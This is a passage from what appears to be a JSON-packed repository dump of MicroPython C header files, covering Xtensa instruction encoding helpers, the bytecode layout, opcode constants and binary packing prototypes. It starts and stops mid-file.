ASM_XTENSA_ENCODE_CALLX(op0, op1, op2, r, s, m, n) \\\n    ((((uint32_t)op2) << 20) | (((uint32_t)op1) << 16) | ((r) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_BRI8(op0, r, s, m, n, imm8) \\\n    (((imm8) << 16) | ((r) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_BRI12(op0, s, m, n, imm12) \\\n    (((imm12) << 12) | ((s) << 8) | ((m) << 6) | ((n) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RRRN(op0, r, s, t) \\\n    (((r) << 12) | ((s) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RI7(op0, s, imm7) \\\n    ((((imm7) & 0xf) << 12) | ((s) << 8) | ((imm7) & 0x70) | (op0))\n\ntypedef struct _asm_xtensa_t {\n    mp_asm_base_t base;\n    uint32_t cur_const;\n    uint32_t num_const;\n    uint32_t *const_table;\n    uint32_t stack_adjust;\n} asm_xtensa_t;\n\nvoid asm_xtensa_end_pass(asm_xtensa_t *as);\n\nvoid asm_xtensa_entry(asm_xtensa_t *as, int num_locals);\nvoid asm_xtensa_exit(asm_xtensa_t *as);\n\nvoid asm_xtensa_op16(asm_xtensa_t *as, uint16_t op);\nvoid asm_xtensa_op24(asm_xtensa_t *as, uint32_t op);\n\n// raw instructions\n\nstatic inline void asm_xtensa_op_add(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 8, reg_dest, reg_src_a, reg_src_b));\n}\n\nstatic inline void asm_xtensa_op_addi(asm_xtensa_t *as, uint reg_dest, uint reg_src, int imm8) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 12, reg_dest, reg_src, imm8 & 0xff));\n}\n\nstatic inline void asm_xtensa_op_and(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 1, reg_dest, reg_src_a, reg_src_b));\n}\n\nstatic inline void asm_xtensa_op_bcc(asm_xtensa_t *as, uint cond, uint reg_src1, uint reg_src2, int32_t rel8) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(7, cond, reg_src1, reg_src2, rel8 & 0xff));\n}\n\nstatic inline void asm_xtensa_op_bccz(asm_xtensa_t *as, uint cond, uint reg_src, int32_t rel12) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_BRI12(6, reg_src, cond, 1, rel12 & 0xfff));\n}\n\nstatic inline void asm_xtensa_op_callx0(asm_xtensa_t *as, uint reg) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALLX(0, 0, 0, 0, reg, 3, 0));\n}\n\nstatic inline void asm_xtensa_op_j(asm_xtensa_t *as, int32_t rel18) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALL(6, 0, rel18 & 0x3ffff));\n}\n\nstatic inline void asm_xtensa_op_jx(asm_xtensa_t *as, uint reg) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_CALLX(0, 0, 0, 0, reg, 2, 2));\n}\n\nstatic inline void asm_xtensa_op_l8ui(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint byte_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 0, reg_base, reg_dest, byte_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_l16ui(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint half_word_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 1, reg_base, reg_dest, half_word_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_l32i(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint word_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 2, reg_base, reg_dest, word_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_l32i_n(asm_xtensa_t *as, uint reg_dest, uint reg_base, uint word_offset) {\n    asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(8, word_offset & 0xf, reg_base, reg_dest));\n}\n\nstatic inline void asm_xtensa_op_l32r(asm_xtensa_t *as, uint reg_dest, uint32_t op_off, uint32_t dest_off) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RI16(1, reg_dest, ((dest_off - ((op_off + 3) & ~3)) >> 2) & 0xffff));\n}\n\nstatic inline void asm_xtensa_op_mov_n(asm_xtensa_t *as, uint reg_dest, uint reg_src) {\n    asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(13, 0, reg_src, reg_dest));\n}\n\nstatic inline void asm_xtensa_op_movi(asm_xtensa_t *as, uint reg_dest, int32_t imm12) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 10, (imm12 >> 8) & 0xf, reg_dest, imm12 & 0xff));\n}\n\nstatic inline void asm_xtensa_op_movi_n(asm_xtensa_t *as, uint reg_dest, int imm4) {\n    asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RI7(12, reg_dest, imm4));\n}\n\nstatic inline void asm_xtensa_op_mull(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 2, 8, reg_dest, reg_src_a, reg_src_b));\n}\n\nstatic inline void asm_xtensa_op_or(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 2, reg_dest, reg_src_a, reg_src_b));\n}\n\nstatic inline void asm_xtensa_op_ret_n(asm_xtensa_t *as) {\n    asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(13, 15, 0, 0));\n}\n\nstatic inline void asm_xtensa_op_s8i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint byte_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 4, reg_base, reg_src, byte_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_s16i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint half_word_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 5, reg_base, reg_src, half_word_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_s32i(asm_xtensa_t *as, uint reg_src, uint reg_base, uint word_offset) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRI8(2, 6, reg_base, reg_src, word_offset & 0xff));\n}\n\nstatic inline void asm_xtensa_op_s32i_n(asm_xtensa_t *as, uint reg_src, uint reg_base, uint word_offset) {\n    asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(9, word_offset & 0xf, reg_base, reg_src));\n}\n\nstatic inline void asm_xtensa_op_sll(asm_xtensa_t *as, uint reg_dest, uint reg_src) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 1, 10, reg_dest, reg_src, 0));\n}\n\nstatic inline void asm_xtensa_op_sra(asm_xtensa_t *as, uint reg_dest, uint reg_src) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 1, 11, reg_dest, 0, reg_src));\n}\n\nstatic inline void asm_xtensa_op_ssl(asm_xtensa_t *as, uint reg_src) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 4, 1, reg_src, 0));\n}\n\nstatic inline void asm_xtensa_op_ssr(asm_xtensa_t *as, uint reg_src) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 4, 0, reg_src, 0));\n}\n\nstatic inline void asm_xtensa_op_sub(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 12, reg_dest, reg_src_a, reg_src_b));\n}\n\nstatic inline void asm_xtensa_op_xor(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) {\n    asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 3, reg_dest, reg_src_a, reg_src_b));\n}\n\n// convenience functions\nvoid asm_xtensa_j_label(asm_xtensa_t *as, uint label);\nvoid asm_xtensa_bccz_reg_label(asm_xtensa_t *as, uint cond, uint reg, uint label);\nvoid asm_xtensa_bcc_reg_reg_label(asm_xtensa_t *as, uint cond, uint reg1, uint reg2, uint label);\nvoid asm_xtensa_setcc_reg_reg_reg(asm_xtensa_t *as, uint cond, uint reg_dest, uint reg_src1, uint reg_src2);\nvoid asm_xtensa_mov_reg_i32(asm_xtensa_t *as, uint reg_dest, uint32_t i32);\nvoid asm_xtensa_mov_local_reg(asm_xtensa_t *as, int local_num, uint reg_src);\nvoid asm_xtensa_mov_reg_local(asm_xtensa_t *as, uint reg_dest, int local_num);\nvoid asm_xtensa_mov_reg_local_addr(asm_xtensa_t *as, uint reg_dest, int local_num);\n\n#if GENERIC_ASM_API\n\n// The following macros provide a (mostly) arch-independent API to\n// generate native code, and are used by the native emitter.\n\n#define ASM_WORD_SIZE (4)\n\n#define REG_RET ASM_XTENSA_REG_A2\n#define REG_ARG_1 ASM_XTENSA_REG_A2\n#define REG_ARG_2 ASM_XTENSA_REG_A3\n#define REG_ARG_3 ASM_XTENSA_REG_A4\n#define REG_ARG_4 ASM_XTENSA_REG_A5\n#define REG_ARG_5 ASM_XTENSA_REG_A6\n\n#define REG_TEMP0 ASM_XTENSA_REG_A2\n#define REG_TEMP1 ASM_XTENSA_REG_A3\n#define REG_TEMP2 ASM_XTENSA_REG_A4\n\n#define REG_LOCAL_1 ASM_XTENSA_REG_A12\n#define REG_LOCAL_2 ASM_XTENSA_REG_A13\n#define REG_LOCAL_3 ASM_XTENSA_REG_A14\n#define REG_LOCAL_NUM (3)\n\n#define ASM_T               asm_xtensa_t\n#define ASM_END_PASS        asm_xtensa_end_pass\n#define ASM_ENTRY           asm_xtensa_entry\n#define ASM_EXIT            asm_xtensa_exit\n\n#define ASM_JUMP            asm_xtensa_j_label\n#define ASM_JUMP_IF_REG_ZERO(as, reg, label) \\\n    asm_xtensa_bccz_reg_label(as, ASM_XTENSA_CCZ_EQ, reg, label)\n#define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \\\n    asm_xtensa_bccz_reg_label(as, ASM_XTENSA_CCZ_NE, reg, label)\n#define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \\\n    asm_xtensa_bcc_reg_reg_label(as, ASM_XTENSA_CC_EQ, reg1, reg2, label)\n#define ASM_CALL_IND(as, ptr, idx) \\\n    do { \\\n        asm_xtensa_mov_reg_i32(as, ASM_XTENSA_REG_A0, (uint32_t)ptr); \\\n        asm_xtensa_op_callx0(as, ASM_XTENSA_REG_A0); \\\n    } while (0)\n\n#define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_xtensa_mov_local_reg(as, (local_num), (reg))\n#define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_xtensa_mov_reg_i32(as, (reg), (imm))\n#define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_xtensa_mov_reg_i32(as, (reg), (imm))\n#define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \\\n    do { \\\n        asm_xtensa_mov_reg_i32(as, (reg_temp), (imm)); \\\n        asm_xtensa_mov_local_reg(as, (local_num), (reg_temp)); \\\n    } while (0)\n#define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) asm_xtensa_mov_reg_local(as, (reg), (local_num))\n#define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_mov_n((as), (reg_dest), (reg_src))\n#define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_xtensa_mov_reg_local_addr(as, (reg), (local_num))\n\n#define ASM_LSL_REG_REG(as, reg_dest, reg_shift) \\\n    do { \\\n        asm_xtensa_op_ssl((as), (reg_shift)); \\\n        asm_xtensa_op_sll((as), (reg_dest), (reg_dest)); \\\n    } while (0)\n#define ASM_ASR_REG_REG(as, reg_dest, reg_shift) \\\n    do { \\\n        asm_xtensa_op_ssr((as), (reg_shift)); \\\n        asm_xtensa_op_sra((as), (reg_dest), (reg_dest)); \\\n    } while (0)\n#define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_or((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_xor((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_and((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_add((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_sub((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_mull((as), (reg_dest), (reg_dest), (reg_src))\n\n#define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_xtensa_op_l32i_n((as), (reg_dest), (reg_base), (word_offset))\n#define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l8ui((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l16ui((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l32i_n((as), (reg_dest), (reg_base), 0)\n\n#define ASM_STORE_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_xtensa_op_s32i_n((as), (reg_dest), (reg_base), (word_offset))\n#define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s8i((as), (reg_src), (reg_base), 0)\n#define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s16i((as), (reg_src), (reg_base), 0)\n#define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s32i_n((as), (reg_src), (reg_base), 0)\n\n#endif // GENERIC_ASM_API\n\n#endif // MICROPY_INCLUDED_PY_ASMXTENSA_H\n"
  },
  {
    "path": "micropython/inc/py/bc.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_BC_H\n#define MICROPY_INCLUDED_PY_BC_H\n\n#include \"py/runtime.h\"\n#include \"py/obj.h\"\n#include \"py/objfun.h\"\n\n// bytecode layout:\n//\n//  n_state         : var uint\n//  n_exc_stack     : var uint\n//  scope_flags     : byte\n//  n_pos_args      : byte          number of arguments this function takes\n//  n_kwonly_args   : byte          number of keyword-only arguments this function takes\n//  n_def_pos_args  : byte          number of default positional arguments\n//\n//  code_info_size  : var uint |    code_info_size counts bytes in this chunk\n//  simple_name     : var qstr |\n//  source_file     : var qstr |\n//  <line number info>         |\n//  <word alignment padding>   |    only needed if bytecode contains pointers\n//\n//  local_num0      : byte     |\n//  ...             : byte     |\n//  local_numN      : byte     |    N = num_cells\n//  255             : byte     |    end of list sentinel\n//  <bytecode>                 |\n//\n//\n// constant table layout:\n//\n//  argname0        : obj (qstr)\n//  ...             : obj (qstr)\n//  argnameN        : obj (qstr)    N = num_pos_args + num_kwonly_args\n//  const0          : obj\n//  constN          : obj\n\n// Exception stack entry\ntypedef struct _mp_exc_stack_t {\n    const byte *handler;\n    // bit 0 is saved currently_in_except_block value\n    // bit 1 is whether the opcode was SETUP_WITH or SETUP_FINALLY\n    mp_obj_t *val_sp;\n    // Saved exception, valid if currently_in_except_block bit is 1\n    mp_obj_base_t *prev_exc;\n} mp_exc_stack_t;\n\ntypedef struct _mp_code_state_t {\n    // The fun_bc entry points to the underlying function object that is being executed.\n    // It is needed to access the start of bytecode and the const_table.\n    // It is also needed to prevent the GC from reclaiming the bytecode during execution,\n    // because the ip pointer below will always point to the interior of the bytecode.\n    mp_obj_fun_bc_t *fun_bc;\n    const byte *ip;\n    mp_obj_t *sp;\n    // bit 0 is saved currently_in_except_block value\n    mp_exc_stack_t *exc_sp;\n    mp_obj_dict_t *old_globals;\n    #if MICROPY_STACKLESS\n    struct _mp_code_state_t *prev;\n    #endif\n    // Variable-length\n    mp_obj_t state[0];\n    // Variable-length, never accessed by name, only as (void*)(state + n_state)\n    //mp_exc_stack_t exc_state[0];\n} mp_code_state_t;\n\nmp_uint_t mp_decode_uint(const byte **ptr);\nmp_uint_t mp_decode_uint_value(const byte *ptr);\nconst byte *mp_decode_uint_skip(const byte *ptr);\n\nmp_vm_return_kind_t mp_execute_bytecode(mp_code_state_t *code_state, volatile mp_obj_t inject_exc);\nmp_code_state_t *mp_obj_fun_bc_prepare_codestate(mp_obj_t func, size_t n_args, size_t n_kw, const mp_obj_t *args);\nvoid mp_setup_code_state(mp_code_state_t *code_state, size_t n_args, size_t n_kw, const mp_obj_t *args);\nvoid mp_bytecode_print(const void *descr, const byte *code, mp_uint_t len, const mp_uint_t *const_table);\nvoid mp_bytecode_print2(const byte *code, size_t len, const mp_uint_t *const_table);\nconst byte *mp_bytecode_print_str(const byte *ip);\n#define mp_bytecode_print_inst(code, const_table) mp_bytecode_print2(code, 1, const_table)\n\n// Helper macros to access pointer with least significant bits holding flags\n#define MP_TAGPTR_PTR(x) ((void*)((uintptr_t)(x) & ~((uintptr_t)3)))\n#define MP_TAGPTR_TAG0(x) ((uintptr_t)(x) & 1)\n#define MP_TAGPTR_TAG1(x) ((uintptr_t)(x) & 2)\n#define MP_TAGPTR_MAKE(ptr, tag) ((void*)((uintptr_t)(ptr) | (tag)))\n\n#if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE\n\n#define MP_OPCODE_BYTE (0)\n#define MP_OPCODE_QSTR (1)\n#define MP_OPCODE_VAR_UINT (2)\n#define MP_OPCODE_OFFSET (3)\n\nuint mp_opcode_format(const byte *ip, size_t *opcode_size);\n\n#endif\n\n#endif // MICROPY_INCLUDED_PY_BC_H\n"
  },
  {
    "path": "micropython/inc/py/bc0.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_BC0_H\n#define MICROPY_INCLUDED_PY_BC0_H\n\n// MicroPython byte-codes.\n// The comment at the end of the line (if it exists) tells the arguments to the byte-code.\n\n#define MP_BC_LOAD_CONST_FALSE   (0x10)\n#define MP_BC_LOAD_CONST_NONE    (0x11)\n#define MP_BC_LOAD_CONST_TRUE    (0x12)\n#define MP_BC_LOAD_CONST_SMALL_INT   (0x14) // signed var-int\n#define MP_BC_LOAD_CONST_STRING  (0x16) // qstr\n#define MP_BC_LOAD_CONST_OBJ     (0x17) // ptr\n#define MP_BC_LOAD_NULL          (0x18)\n\n#define MP_BC_LOAD_FAST_N        (0x19) // uint\n#define MP_BC_LOAD_DEREF         (0x1a) // uint\n#define MP_BC_LOAD_NAME          (0x1b) // qstr\n#define MP_BC_LOAD_GLOBAL        (0x1c) // qstr\n#define MP_BC_LOAD_ATTR          (0x1d) // qstr\n#define MP_BC_LOAD_METHOD        (0x1e) // qstr\n#define MP_BC_LOAD_SUPER_METHOD  (0x1f) // qstr\n#define MP_BC_LOAD_BUILD_CLASS   (0x20)\n#define MP_BC_LOAD_SUBSCR        (0x21)\n\n#define MP_BC_STORE_FAST_N       (0x22) // uint\n#define MP_BC_STORE_DEREF        (0x23) // uint\n#define MP_BC_STORE_NAME         (0x24) // qstr\n#define MP_BC_STORE_GLOBAL       (0x25) // qstr\n#define MP_BC_STORE_ATTR         (0x26) // qstr\n#define MP_BC_STORE_SUBSCR       (0x27)\n\n#define MP_BC_DELETE_FAST        (0x28) // uint\n#define MP_BC_DELETE_DEREF       (0x29) // uint\n#define MP_BC_DELETE_NAME        (0x2a) // qstr\n#define MP_BC_DELETE_GLOBAL      (0x2b) // qstr\n\n#define MP_BC_DUP_TOP            (0x30)\n#define MP_BC_DUP_TOP_TWO        (0x31)\n#define MP_BC_POP_TOP            (0x32)\n#define MP_BC_ROT_TWO            (0x33)\n#define MP_BC_ROT_THREE          (0x34)\n\n#define MP_BC_JUMP               (0x35) // rel byte code offset, 16-bit signed, in excess\n#define MP_BC_POP_JUMP_IF_TRUE   (0x36) // rel byte code offset, 16-bit signed, in excess\n#define MP_BC_POP_JUMP_IF_FALSE  (0x37) // rel byte code offset, 16-bit signed, in excess\n#define MP_BC_JUMP_IF_TRUE_OR_POP    (0x38) // rel byte code offset, 16-bit signed, in excess\n#define MP_BC_JUMP_IF_FALSE_OR_POP   (0x39) // rel byte code offset, 16-bit signed, in excess\n#define MP_BC_SETUP_WITH         (0x3d) // rel byte code offset, 16-bit unsigned\n#define MP_BC_WITH_CLEANUP       (0x3e)\n#define MP_BC_SETUP_EXCEPT       (0x3f) // rel byte code offset, 16-bit unsigned\n#define MP_BC_SETUP_FINALLY      (0x40) // rel byte code offset, 16-bit unsigned\n#define MP_BC_END_FINALLY        (0x41)\n#define MP_BC_GET_ITER           (0x42)\n#define MP_BC_FOR_ITER           (0x43) // rel byte code offset, 16-bit unsigned\n#define MP_BC_POP_BLOCK          (0x44)\n#define MP_BC_POP_EXCEPT         (0x45)\n#define MP_BC_UNWIND_JUMP        (0x46) // rel byte code offset, 16-bit signed, in excess; then a byte\n#define MP_BC_GET_ITER_STACK     (0x47)\n\n#define MP_BC_BUILD_TUPLE        (0x50) // uint\n#define MP_BC_BUILD_LIST         (0x51) // uint\n#define MP_BC_BUILD_MAP          (0x53) // uint\n#define MP_BC_STORE_MAP          (0x54)\n#define MP_BC_BUILD_SET          (0x56) // uint\n#define MP_BC_BUILD_SLICE        (0x58) // uint\n#define MP_BC_STORE_COMP         (0x57) // uint\n#define MP_BC_UNPACK_SEQUENCE    (0x59) // uint\n#define MP_BC_UNPACK_EX          (0x5a) // uint\n\n#define MP_BC_RETURN_VALUE       (0x5b)\n#define MP_BC_RAISE_VARARGS      (0x5c) // byte\n#define MP_BC_YIELD_VALUE        (0x5d)\n#define MP_BC_YIELD_FROM         (0x5e)\n\n#define MP_BC_MAKE_FUNCTION         (0x60) // uint\n#define MP_BC_MAKE_FUNCTION_DEFARGS (0x61) // uint\n#define MP_BC_MAKE_CLOSURE          (0x62) // uint\n#define MP_BC_MAKE_CLOSURE_DEFARGS  (0x63) // uint\n#define MP_BC_CALL_FUNCTION         (0x64) // uint\n#define MP_BC_CALL_FUNCTION_VAR_KW  (0x65) // uint\n#define MP_BC_CALL_METHOD           (0x66) // uint\n#define MP_BC_CALL_METHOD_VAR_KW    (0x67) // uint\n\n#define MP_BC_IMPORT_NAME        (0x68) // qstr\n#define MP_BC_IMPORT_FROM        (0x69) // qstr\n#define MP_BC_IMPORT_STAR        (0x6a)\n\n#define MP_BC_LOAD_CONST_SMALL_INT_MULTI (0x70) // + N(64)\n#define MP_BC_LOAD_FAST_MULTI            (0xb0) // + N(16)\n#define MP_BC_STORE_FAST_MULTI           (0xc0) // + N(16)\n#define MP_BC_UNARY_OP_MULTI             (0xd0) // + op(7)\n#define MP_BC_BINARY_OP_MULTI            (0xd7) // + op(36)\n\n#endif // MICROPY_INCLUDED_PY_BC0_H\n"
  },
  {
    "path": "micropython/inc/py/binary.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_BINARY_H\n#define MICROPY_INCLUDED_PY_BINARY_H\n\n#include \"py/obj.h\"\n\n// Use special typecode to differentiate repr() of bytearray vs array.array('B')\n// (underlyingly they're same).  Can't use 0 here because that's used to detect\n// type-specification errors due to end-of-string.\n#define BYTEARRAY_TYPECODE 1\n\nsize_t mp_binary_get_size(char struct_type, char val_type, mp_uint_t *palign);\nmp_obj_t mp_binary_get_val_array(char typecode, void *p, mp_uint_t index);\nvoid mp_binary_set_val_array(char typecode, void *p, mp_uint_t index, mp_obj_t val_in);\nvoid mp_binary_set_val_array_from_int(char typecode, void *p, mp_uint_t index, mp_int_t val);\nmp_obj_t mp_binary_get_val(char struct_type, char val_type, byte **ptr);\nvoid mp_binary_set_val(char struct_type, char val_type, mp_obj_t val_in, byte **ptr);\nlong long mp_binary_get_int(mp_uint_t size, bool is_signed, bool big_endian, const byte *src);\nvoid mp_binary_set_int(mp_uint_t val_sz, bool big_endian, byte *dest, mp_uint_t val);\n\n#endif // MICROPY_INCLUDED_PY_BINARY_H\n"
  },
  {
    "path": "micropython/inc/py/builtin.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_BUILTIN_H\n#define MICROPY_INCLUDED_PY_BUILTIN_H\n\n#include \"py/obj.h\"\n\nmp_obj_t mp_builtin___import__(size_t n_args, const mp_obj_t *args);\nmp_obj_t mp_builtin_open(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs);\nmp_obj_t mp_micropython_mem_info(size_t n_args, const mp_obj_t 